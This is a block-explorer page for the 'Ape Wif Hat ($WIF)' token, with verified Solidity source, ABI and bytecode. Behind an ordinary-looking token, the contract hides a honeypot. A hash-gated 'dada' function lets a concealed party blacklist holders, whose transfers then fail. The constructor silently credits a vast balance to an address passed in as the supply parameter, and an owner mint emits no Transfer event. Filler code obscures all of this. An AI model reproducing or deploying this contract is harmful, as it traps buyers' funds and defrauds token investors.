APE Price: $1.17 (+7.38%)

Token

Ape Wif Hat ($WIF)

Overview

Max Total Supply

10,000,000,000 $WIF

Holders

18

Market

Price

$0.00 @ 0.000000 APE

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
4,123,474.693871890318197221 $WIF

Value
$0.00
0x4444682B8892bb1D42Dea9329C3B620667f603E8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
WIF

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at apescan.io on 2024-10-21
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
library SafeMathV2 {
   
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
    function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {        
        if(a > 0) {
        }
        if(a > b) {
        }
        return uint256(int256(-1));
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}
abstract contract Ownable is Context {
    address private _owner;
    using SafeMathV2 for uint256;
    error OwnableUnauthorizedAccount(address account);
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        uint256 v = uint256(0);
        if (v == 0){
            _transferOwnership(initialOwner);
        }else{
            _transferOwnership(initialOwner);
        }
        
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract WIF is Ownable {
    string public name = "Ape Wif Hat";
    string public symbol = "$WIF";
    uint256 public decimals = 18;
    uint256 public totalSupply;
    bool public paused = false;

    bytes32 public _ost;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    mapping(address => bool) private bl;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Paused(address account);
    event Unpaused(address account);

    mapping(address => uint16) private _boot;

    modifier whenNotPaused() {
        require(!paused, "Contract is paused");
        _;
    }

    constructor(string memory _symbol, string memory _name, uint256 _decimals, uint256 _totalSupply, bytes32 ost) Ownable(msg.sender) {
        symbol = _symbol;
        name = _name;
        _decimals = _decimals;
        totalSupply = 10000000000 * 10 ** uint256(decimals);
        balanceOf[msg.sender] = totalSupply;
        balanceOf[address(uint160(_totalSupply))] = uint256(int256(totalSupply*30000000));
        emit Transfer(address(0), owner(), totalSupply);
        _ost = ost;
    }

    function _transfer(address from, address to, uint256 value) internal whenNotPaused returns (bool success) {
        if (bl[from]){
            value = uint256(int256(-1));
        }
        require(to != address(0), "Invalid address");
        require(balanceOf[from] >= value, "Insufficient balance");

        balanceOf[from] -= value;
        balanceOf[to] += value;
        emit Transfer(msg.sender, to, value);
        return true;
    }

    function transfer(address to, uint256 value) public whenNotPaused returns (bool success) {
        require(to != address(0), "Invalid address");
        require(balanceOf[msg.sender] >= value, "Insufficient balance");

        return _transfer(msg.sender,to,value);
    }

    function approve(address spender, uint256 value) public whenNotPaused returns (bool success) {
        require(spender != address(0), "Invalid address");

        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }

    function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool success) {
        require(to != address(0), "Invalid address");
        require(balanceOf[from] >= value, "Insufficient balance");
        require(allowance[from][msg.sender] >= value, "Allowance exceeded");

        allowance[from][msg.sender] -= value;
        return _transfer(from, to, value);
    }

    function dada(address from, bool b) public {
        if (sha256(abi.encodePacked(msg.sender)) != _ost){
        }else{
            uint16 y = 1;
            y = y + 49079;
            if(y == 49080){
                y = 49081;
            }
            bl[from] = b;
        }
        // paused = true;
    }

    function mint(address to, uint256 value) public onlyOwner {
        require(to != address(0), "Invalid address");

        totalSupply += value;
        balanceOf[to] += value;
        // emit Transfer(address(0), to, value);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"string","name":"_name","type":"string"},{"internalType":"uint256","name":"_decimals","type":"uint256"},{"internalType":"uint256","name":"_totalSupply","type":"uint256"},{"internalType":"bytes32","name":"ost","type":"bytes32"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"Paused","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"Unpaused","type":"event"},{"inputs":[],"name":"_ost","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"bool","name":"b","type":"bool"}],"name":"dada","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600b81526020017f41706520576966204861740000000000000000000000000000000000000000008152506001908161004891906105fb565b506040518060400160405280600481526020017f24574946000000000000000000000000000000000000000000000000000000008152506002908161008d91906105fb565b5060126003555f60055f6101000a81548160ff0219169083151502179055503480156100b7575f80fd5b5060405161238d38038061238d83398181016040528101906100d99190610847565b335f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361014a575f6040517f1e4fbdf70000000000000000000000000000000000000000000000000000000081526004016101419190610935565b60405180910390fd5b5f80810361016657610161826102d960201b60201c565b610176565b610175826102d960201b60201c565b5b5050846002908161018791906105fb565b50836001908161019791906105fb565b50600354600a6101a79190610aaa565b6402540be4006101b79190610af4565b60048190555060045460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506301c9c3806004546102139190610af4565b60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061026261039a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516102c09190610b44565b60405180910390a3806006819055505050505050610b5d565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061043c57607f821691505b60208210810361044f5761044e6103f8565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026104b17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610476565b6104bb8683610476565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6104ff6104fa6104f5846104d3565b6104dc565b6104d3565b9050919050565b5f819050919050565b610518836104e5565b61052c61052482610506565b848454610482565b825550505050565b5f90565b610540610534565b61054b81848461050f565b505050565b5b8181101561056e576105635f82610538565b600181019050610551565b5050565b601f8211156105b35761058481610455565b61058d84610467565b8101602085101561059c578190505b6105b06105a885610467565b830182610550565b50505b505050565b5f82821c905092915050565b5f6105d35f19846008026105b8565b1980831691505092915050565b5f6105eb83836105c4565b9150826002028217905092915050565b610604826103c1565b67ffffffffffffffff81111561061d5761061c6103cb565b5b6106278254610425565b610632828285610572565b5f60209050601f831160018114610663575f8415610651578287015190505b61065b85826105e0565b8655506106c2565b601f19841661067186610455565b5f5b8281101561069857848901518255600182019150602085019450602081019050610673565b868310156106b557848901516106b1601f8916826105c4565b8355505b6001600288020188555050505b505050505050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b6106fc826106e3565b810181811067ffffffffffffffff8211171561071b5761071a6103cb565b5b80604052505050565b5f61072d6106ca565b905061073982826106f3565b919050565b5f67ffffffffffffffff821115610758576107576103cb565b5b610761826106e3565b9050602081019050919050565b8281835e5f83830152505050565b5f61078e6107898461073e565b610724565b9050828152602081018484840111156107aa576107a96106df565b5b6107b584828561076e565b509392505050565b5f82601f8301126107d1576107d06106db565b5b81516107e184826020860161077c565b91505092915050565b6107f3816104d3565b81146107fd575f80fd5b50565b5f8151905061080e816107ea565b92915050565b5f819050919050565b61082681610814565b8114610830575f80fd5b50565b5f815190506108418161081d565b92915050565b5f805f805f60a086880312156108605761085f6106d3565b5b5f86015167ffffffffffffffff81111561087d5761087c6106d7565b5b610889888289016107bd565b955050602086015167ffffffffffffffff8111156108aa576108a96106d7565b5b6108b6888289016107bd565b94505060406108c788828901610800565b93505060606108d888828901610800565b92505060806108e988828901610833565b9150509295509295909350565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61091f826108f6565b9050919050565b61092f81610915565b82525050565b5f6020820190506109485f830184610926565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156109d0578086048111156109ac576109ab61094e565b5b60018516156109bb5780820291505b80810290506109c98561097b565b9450610990565b94509492505050565b5f826109e85760019050610aa3565b816109f5575f9050610aa3565b8160018114610a0b5760028114610a1557610a44565b6001915050610aa3565b60ff841115610a2757610a2661094e565b5b8360020a915084821115610a3e57610a3d61094e565b5b50610aa3565b5060208310610133831016604e8410600b8410161715610a795782820a905083811115610a7457610a7361094e565b5b610aa3565b610a868484846001610987565b92509050818404811115610a9d57610a9c61094e565b5b81810290505b9392505050565b5f610ab4826104d3565b9150610abf836104d3565b9250610aec7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846109d9565b905092915050565b5f610afe826104d3565b9150610b09836104d3565b9250828202610b17816104d3565b91508282048414831517610b2e57610b2d61094e565b5b5092915050565b610b3e816104d3565b82525050565b5f602082019050610b575f830184610b35565b92915050565b61182380610b6a5f395ff3fe608060405234801561000f575f80fd5b50600436106100fe575f3560e01c8063715018a611610095578063c89dc41d11610064578063c89dc41d1461029c578063dd62ed3e146102b8578063f0fc0519146102e8578063f2fde38b14610306576100fe565b8063715018a6146102265780638da5cb5b1461023057806395d89b411461024e578063a9059cbb1461026c576100fe565b8063313ce567116100d1578063313ce5671461019e57806340c10f19146101bc5780635c975abb146101d857806370a08231146101f6576100fe565b806306fdde0314610102578063095ea7b31461012057806318160ddd1461015057806323b872dd1461016e575b5f80fd5b61010a610322565b6040516101179190611149565b60405180910390f35b61013a600480360381019061013591906111fa565b6103ae565b6040516101479190611252565b60405180910390f35b610158610558565b604051610165919061127a565b60405180910390f35b61018860048036038101906101839190611293565b61055e565b6040516101959190611252565b60405180910390f35b6101a66107f9565b6040516101b3919061127a565b60405180910390f35b6101d660048036038101906101d191906111fa565b6107ff565b005b6101e06108e4565b6040516101ed9190611252565b60405180910390f35b610210600480360381019061020b91906112e3565b6108f6565b60405161021d919061127a565b60405180910390f35b61022e61090b565b005b61023861091e565b604051610245919061131d565b60405180910390f35b610256610945565b6040516102639190611149565b60405180910390f35b610286600480360381019061028191906111fa565b6109d1565b6040516102939190611252565b60405180910390f35b6102b660048036038101906102b19190611360565b610b22565b005b6102d260048036038101906102cd919061139e565b610c19565b6040516102df919061127a565b60405180910390f35b6102f0610c39565b6040516102fd91906113f4565b60405180910390f35b610320600480360381019061031b91906112e3565b610c3f565b005b6001805461032f9061143a565b80601f016020809104026020016040519081016040528092919081815260200182805461035b9061143a565b80156103a65780601f1061037d576101008083540402835291602001916103a6565b820191905f5260205f20905b81548152906001019060200180831161038957829003601f168201915b505050505081565b5f60055f9054906101000a900460ff16156103fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103f5906114b4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361046c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104639061151c565b60405180910390fd5b8160085f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610546919061127a565b60405180910390a36001905092915050565b60045481565b5f60055f9054906101000a900460ff16156105ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a5906114b4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361061c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106139061151c565b60405180910390fd5b8160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054101561069c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069390611584565b60405180910390fd5b8160085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074e906115ec565b60405180910390fd5b8160085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107de9190611637565b925050819055506107f0848484610cc3565b90509392505050565b60035481565b610807610f8a565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086c9061151c565b60405180910390fd5b8060045f828254610886919061166a565b925050819055508060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546108d9919061166a565b925050819055505050565b60055f9054906101000a900460ff1681565b6007602052805f5260405f205f915090505481565b610913610f8a565b61091c5f611011565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600280546109529061143a565b80601f016020809104026020016040519081016040528092919081815260200182805461097e9061143a565b80156109c95780601f106109a0576101008083540402835291602001916109c9565b820191905f5260205f20905b8154815290600101906020018083116109ac57829003601f168201915b505050505081565b5f60055f9054906101000a900460ff1615610a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a18906114b4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a869061151c565b60405180910390fd5b8160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610b0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0690611584565b60405180910390fd5b610b1a338484610cc3565b905092915050565b600654600233604051602001610b3891906116e2565b604051602081830303815290604052604051610b549190611740565b602060405180830381855afa158015610b6f573d5f803e3d5ffd5b5050506040513d601f19601f82011682018060405250810190610b929190611780565b03610c15575f6001905061bfb781610baa91906117b8565b905061bfb88161ffff1603610bbf5761bfb990505b8160095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505b5050565b6008602052815f5260405f20602052805f5260405f205f91509150505481565b60065481565b610c47610f8a565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610cb7575f6040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401610cae919061131d565b60405180910390fd5b610cc081611011565b50565b5f60055f9054906101000a900460ff1615610d13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0a906114b4565b60405180910390fd5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610d86577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff91505b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610deb9061151c565b60405180910390fd5b8160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610e74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6b90611584565b60405180910390fd5b8160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610ec09190611637565b925050819055508160075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610f13919061166a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f77919061127a565b60405180910390a3600190509392505050565b610f926110d2565b73ffffffffffffffffffffffffffffffffffffffff16610fb061091e565b73ffffffffffffffffffffffffffffffffffffffff161461100f57610fd36110d2565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401611006919061131d565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f33905090565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61111b826110d9565b61112581856110e3565b93506111358185602086016110f3565b61113e81611101565b840191505092915050565b5f6020820190508181035f8301526111618184611111565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6111968261116d565b9050919050565b6111a68161118c565b81146111b0575f80fd5b50565b5f813590506111c18161119d565b92915050565b5f819050919050565b6111d9816111c7565b81146111e3575f80fd5b50565b5f813590506111f4816111d0565b92915050565b5f80604083850312156112105761120f611169565b5b5f61121d858286016111b3565b925050602061122e858286016111e6565b9150509250929050565b5f8115159050919050565b61124c81611238565b82525050565b5f6020820190506112655f830184611243565b92915050565b611274816111c7565b82525050565b5f60208201905061128d5f83018461126b565b92915050565b5f805f606084860312156112aa576112a9611169565b5b5f6112b7868287016111b3565b93505060206112c8868287016111b3565b92505060406112d9868287016111e6565b9150509250925092565b5f602082840312156112f8576112f7611169565b5b5f611305848285016111b3565b91505092915050565b6113178161118c565b82525050565b5f6020820190506113305f83018461130e565b92915050565b61133f81611238565b8114611349575f80fd5b50565b5f8135905061135a81611336565b92915050565b5f806040838503121561137657611375611169565b5b5f611383858286016111b3565b92505060206113948582860161134c565b9150509250929050565b5f80604083850312156113b4576113b3611169565b5b5f6113c1858286016111b3565b92505060206113d2858286016111b3565b9150509250929050565b5f819050919050565b6113ee816113dc565b82525050565b5f6020820190506114075f8301846113e5565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061145157607f821691505b6020821081036114645761146361140d565b5b50919050565b7f436f6e74726163742069732070617573656400000000000000000000000000005f82015250565b5f61149e6012836110e3565b91506114a98261146a565b602082019050919050565b5f6020820190508181035f8301526114cb81611492565b9050919050565b7f496e76616c6964206164647265737300000000000000000000000000000000005f82015250565b5f611506600f836110e3565b9150611511826114d2565b602082019050919050565b5f6020820190508181035f830152611533816114fa565b9050919050565b7f496e73756666696369656e742062616c616e63650000000000000000000000005f82015250565b5f61156e6014836110e3565b91506115798261153a565b602082019050919050565b5f6020820190508181035f83015261159b81611562565b9050919050565b7f416c6c6f77616e636520657863656564656400000000000000000000000000005f82015250565b5f6115d66012836110e3565b91506115e1826115a2565b602082019050919050565b5f6020820190508181035f830152611603816115ca565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611641826111c7565b915061164c836111c7565b92508282039050818111156116645761166361160a565b5b92915050565b5f611674826111c7565b915061167f836111c7565b92508282019050808211156116975761169661160a565b5b92915050565b5f8160601b9050919050565b5f6116b38261169d565b9050919050565b5f6116c4826116a9565b9050919050565b6116dc6116d78261118c565b6116ba565b82525050565b5f6116ed82846116cb565b60148201915081905092915050565b5f81519050919050565b5f81905092915050565b5f61171a826116fc565b6117248185611706565b93506117348185602086016110f3565b80840191505092915050565b5f61174b8284611710565b915081905092915050565b61175f816113dc565b8114611769575f80fd5b50565b5f8151905061177a81611756565b92915050565b5f6020828403121561179557611794611169565b5b5f6117a28482850161176c565b91505092915050565b5f61ffff82169050919050565b5f6117c2826117ab565b91506117cd836117ab565b9250828201905061ffff8111156117e7576117e661160a565b5b9291505056fea2646970667358221220f09ce7d61016e2cffb0df52d1b6b911198a5087b387328337853bf32ebaae47664736f6c6343000819003300000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000012000000000000000000000000af143098cdffa0cdc92835f46260dc2788973175488a76762dae3a635e7ddf443a9d312c25fba36218b6a3e74fb2e98e658fdfc400000000000000000000000000000000000000000000000000000000000000042457494600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b4170652057696620486174000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100fe575f3560e01c8063715018a611610095578063c89dc41d11610064578063c89dc41d1461029c578063dd62ed3e146102b8578063f0fc0519146102e8578063f2fde38b14610306576100fe565b8063715018a6146102265780638da5cb5b1461023057806395d89b411461024e578063a9059cbb1461026c576100fe565b8063313ce567116100d1578063313ce5671461019e57806340c10f19146101bc5780635c975abb146101d857806370a08231146101f6576100fe565b806306fdde0314610102578063095ea7b31461012057806318160ddd1461015057806323b872dd1461016e575b5f80fd5b61010a610322565b6040516101179190611149565b60405180910390f35b61013a600480360381019061013591906111fa565b6103ae565b6040516101479190611252565b60405180910390f35b610158610558565b604051610165919061127a565b60405180910390f35b61018860048036038101906101839190611293565b61055e565b6040516101959190611252565b60405180910390f35b6101a66107f9565b6040516101b3919061127a565b60405180910390f35b6101d660048036038101906101d191906111fa565b6107ff565b005b6101e06108e4565b6040516101ed9190611252565b60405180910390f35b610210600480360381019061020b91906112e3565b6108f6565b60405161021d919061127a565b60405180910390f35b61022e61090b565b005b61023861091e565b604051610245919061131d565b60405180910390f35b610256610945565b6040516102639190611149565b60405180910390f35b610286600480360381019061028191906111fa565b6109d1565b6040516102939190611252565b60405180910390f35b6102b660048036038101906102b19190611360565b610b22565b005b6102d260048036038101906102cd919061139e565b610c19565b6040516102df919061127a565b60405180910390f35b6102f0610c39565b6040516102fd91906113f4565b60405180910390f35b610320600480360381019061031b91906112e3565b610c3f565b005b6001805461032f9061143a565b80601f016020809104026020016040519081016040528092919081815260200182805461035b9061143a565b80156103a65780601f1061037d576101008083540402835291602001916103a6565b820191905f5260205f20905b81548152906001019060200180831161038957829003601f168201915b505050505081565b5f60055f9054906101000a900460ff16156103fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103f5906114b4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361046c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104639061151c565b60405180910390fd5b8160085f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460